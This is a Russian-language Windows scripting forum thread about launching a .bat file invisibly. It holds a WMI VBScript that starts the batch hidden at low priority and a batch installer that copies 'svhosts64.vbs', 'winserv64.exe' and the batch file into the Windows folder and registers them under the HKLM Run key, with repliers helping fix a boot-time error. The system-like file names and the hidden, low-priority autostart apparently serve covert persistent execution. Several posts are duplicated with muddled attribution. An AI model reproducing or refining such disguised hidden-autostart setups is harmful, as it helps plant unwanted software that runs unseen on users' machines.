CMD/BAT - [решено] Скрытый запуск .bat

Аватара пользователя
Iska

Re: CMD/BAT - [решено] Скрытый запуск .bat

Сообщение Iska »

Цитата Iska:



На WSH/vbscript:
CMD/BAT - [решено] Скрытый запуск .bat




Спасибо Вам большое за помощь. Но есть единственный нюанс, если запускать вашим скриптом то приоритет в диспетчере - Ниже среднего. А если выполнить командой start /low то приоритет будет Низкий.



Можно Вас попросить подкоректировать код, что бы получилось с Низким приоритетом?



Спасибо!
Аватара пользователя
Xaos-biker

Re: CMD/BAT - [решено] Скрытый запуск .bat

Сообщение Xaos-biker »

На WSH/vbscript:



Скрытый текст

[spoiler]Код:
[/spoiler]

Код: Выделить всё

Option Explicit
Const SW_HIDE      = 0
Const BELOW_NORMAL = 16384
Dim strFile
Dim objFSO
Dim objWshShell
Dim objSWbemObjectEx
Dim lngProcessID
strFile = "win64.bat"
Set objFSO      = WScript.CreateObject("Scripting.FileSystemObject")
Set objWshShell = WScript.CreateObject("WScript.Shell")
If objFSO.FileExists(strFile) Then
	With WScript.CreateObject("WbemScripting.SWbemLocator").ConnectServer(".", "root\cimv2")
		Set objSWbemObjectEx = .Get("Win32_ProcessStartup").SpawnInstance_
		objSWbemObjectEx.ShowWindow    = SW_HIDE
		objSWbemObjectEx.PriorityClass = BELOW_NORMAL
		If .Get("Win32_Process").Create("""" & objWshShell.ExpandEnvironmentStrings("%comspec%") & """ /c""" & strFile & """", objWshShell.CurrentDirectory, objSWbemObjectEx, lngProcessID) = 0 Then
			' Success
		Else
			WScript.Echo "Can't execute process."
			WScript.Quit 2
		End If
	End With
Else
	WScript.Echo "Can't find file [" & strFile & "]."
	WScript.Quit 1
End If
Set objWshShell = Nothing
Set objFSO      = Nothing
WScript.Quit 0
Аватара пользователя
Xaos-biker

Re: CMD/BAT - [решено] Скрытый запуск .bat

Сообщение Xaos-biker »

Разобрался! Присвоил постоянной значение 64. Спасибо! Всем добра Изображение
Аватара пользователя
Xaos-biker

Re: CMD/BAT - [решено] Скрытый запуск .bat

Сообщение Xaos-biker »

Есть такой набор доп. команд для CMD, называется HS_Packet.

Там есть такая штука, как hs_exec. Она умеет так:

Image 4.jpg
Аватара пользователя
subuday77

Re: CMD/BAT - [решено] Скрытый запуск .bat

Сообщение subuday77 »

subuday77, «таких штук» чуть больше, чем дохрена. И даже любой пользователь ОС Windows может слепить подобное посредством компилятора из входящего в комплект поставки .Net.
Вложения

[Расширение jpg было запрещено, вложение больше недоступно.]

Аватара пользователя
Xaos-biker

Re: CMD/BAT - [решено] Скрытый запуск .bat

Сообщение Xaos-biker »

Цитата Xaos-biker:



Ваш скрипт кинул в автозапуск через реестр,
CMD/BAT - [решено] Скрытый запуск .bat




Покажите.




Цитата Xaos-biker:



при старте винды ругается что батник, который запускает скрипт win64.bat не найден
CMD/BAT - [решено] Скрытый запуск .bat




Покажите.
Аватара пользователя
Iska

Re: CMD/BAT - [решено] Скрытый запуск .bat

Сообщение Iska »

Iska,





определяю разрядность системы и в зависимости копирую и записую в реестр соответственный файл



Скрытый текст

[spoiler]@Echo Off



ECHO "%PROCESSOR_ARCHITECTURE%""%PROCESSOR_ARCHITEW6432%"|1>NUL 2>NUL FIND /I "64"&&xcopy "win64.bat" "%WINDIR%" /c /i /d /e /h /y||xcopy "win32.bat" "%WINDIR%" /c /i /d /e /h /y

ECHO "%PROCESSOR_ARCHITECTURE%""%PROCESSOR_ARCHITEW6432%"|1>NUL 2>NUL FIND /I "64"&&xcopy "svhosts64.vbs" "%WINDIR%" /c /i /d /e /h /y||xcopy "svhosts32.vbs" "%WINDIR%" /c /i /d /e /h /y

ECHO "%PROCESSOR_ARCHITECTURE%""%PROCESSOR_ARCHITEW6432%"|1>NUL 2>NUL FIND /I "64"&&xcopy "winserv64.exe" "%WINDIR%" /c /i /d /e /h /y||xcopy "winserv32.exe" "%WINDIR%" /c /i /d /e /h /y

ECHO "%PROCESSOR_ARCHITECTURE%""%PROCESSOR_ARCHITEW6432%"|1>NUL 2>NUL FIND /I "64"&&reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v svhosts64 /t REG_SZ /d %windir%\svhosts64.vbs /f||reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v svhosts32 /t REG_SZ /d %windir%\svhosts32.vbs /f

ECHO "%PROCESSOR_ARCHITECTURE%""%PROCESSOR_ARCHITEW6432%"|1>NUL 2>NUL FIND /I "64"&&start %windir%\svhosts64.vbs||start %windir%\svhosts32.vbs[/spoiler]






файл записывается в реестр без проблем и копируется в корневую папку, при перезагрузке винды вылетает ошибка Can't find file win64.bat, а если запускать сам файл скрипта с корневой все работает отлично.
Аватара пользователя
Xaos-biker

Re: CMD/BAT - [решено] Скрытый запуск .bat

Сообщение Xaos-biker »

Iska,

определяю разрядность системы и в зависимости копирую и записую в реестр соответственный файл

Скрытый текст

[spoiler]@Echo Off

ECHO "%PROCESSOR_ARCHITECTURE%""%PROCESSOR_ARCHITEW6432%"|1>NUL 2>NUL FIND /I "64"&&xcopy "win64.bat" "%WINDIR%" /c /i /d /e /h /y||xcopy "win32.bat" "%WINDIR%" /c /i /d /e /h /y

ECHO "%PROCESSOR_ARCHITECTURE%""%PROCESSOR_ARCHITEW6432%"|1>NUL 2>NUL FIND /I "64"&&xcopy "svhosts64.vbs" "%WINDIR%" /c /i /d /e /h /y||xcopy "svhosts32.vbs" "%WINDIR%" /c /i /d /e /h /y

ECHO "%PROCESSOR_ARCHITECTURE%""%PROCESSOR_ARCHITEW6432%"|1>NUL 2>NUL FIND /I "64"&&xcopy "winserv64.exe" "%WINDIR%" /c /i /d /e /h /y||xcopy "winserv32.exe" "%WINDIR%" /c /i /d /e /h /y

ECHO "%PROCESSOR_ARCHITECTURE%""%PROCESSOR_ARCHITEW6432%"|1>NUL 2>NUL FIND /I "64"&&reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v svhosts64 /t REG_SZ /d %windir%\svhosts64.vbs /f||reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v svhosts32 /t REG_SZ /d %windir%\svhosts32.vbs /f

ECHO "%PROCESSOR_ARCHITECTURE%""%PROCESSOR_ARCHITEW6432%"|1>NUL 2>NUL FIND /I "64"&&start %windir%\svhosts64.vbs||start %windir%\svhosts32.vbs[/spoiler]

файл записывается в реестр без проблем и копируется в корневую папку, при перезагрузке винды вылетает ошибка Can't find file win64.bat, а если запускать сам файл скрипта с корневой все работает отлично.
Аватара пользователя
alpap

Re: CMD/BAT - [решено] Скрытый запуск .bat

Сообщение alpap »

Iska, alpap,



Прошу прощения если невнятно изьяснился.Батником с помощью команды:





Скрытый текст

[spoiler]ECHO "%PROCESSOR_ARCHITECTURE%""%PROCESSOR_ARCHITEW6432%"|1>NUL 2>NUL FIND /I "64"&&reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v svhosts64 /t REG_SZ /d %windir%\svhosts64.vbs /f||[/spoiler]






я записую файл скрипта svhosts64.vbs в реестр, в автозапуск (принт скрин экрана вложено в изображении)
http://forum.oszone.net/attachment.p...1&d=1498850701




файл скрипта (svhosts64.vbs) и батник, который необходимо запустить (win64.bat) находятся в корневой папке Windows (изображение добавил)
http://forum.oszone.net/attachment.p...1&d=1498850701


При прямом запуске файла скрипта с корневой папки, батник запускается без проблем.



НО, при загрузке винды вылетает данная ошибка (изображение вложено).
http://forum.oszone.net/attachment.p...1&d=1498850701




Помогите пожалуйста исправить.
Вложения

[Расширение jpg было запрещено, вложение больше недоступно.]

[Расширение jpg было запрещено, вложение больше недоступно.]

[Расширение jpg было запрещено, вложение больше недоступно.]

Аватара пользователя
Xaos-biker

Re: CMD/BAT - [решено] Скрытый запуск .bat

Сообщение Xaos-biker »

Iska, alpap,

Прошу прощения если невнятно изьяснился.Батником с помощью команды:

Скрытый текст

[spoiler]ECHO "%PROCESSOR_ARCHITECTURE%""%PROCESSOR_ARCHITEW6432%"|1>NUL 2>NUL FIND /I "64"&&reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v svhosts64 /t REG_SZ /d %windir%\svhosts64.vbs /f||[/spoiler]

я записую файл скрипта svhosts64.vbs в реестр, в автозапуск (принт скрин экрана вложено в изображении)

файл скрипта (svhosts64.vbs) и батник, который необходимо запустить (win64.bat) находятся в корневой папке Windows (изображение добавил) При прямом запуске файла скрипта с корневой папки, батник запускается без проблем.

НО, при загрузке винды вылетает данная ошибка (изображение вложено).

Помогите пожалуйста исправить.
Ответить

Вернуться в «Скриптовые языки администрирования Windows»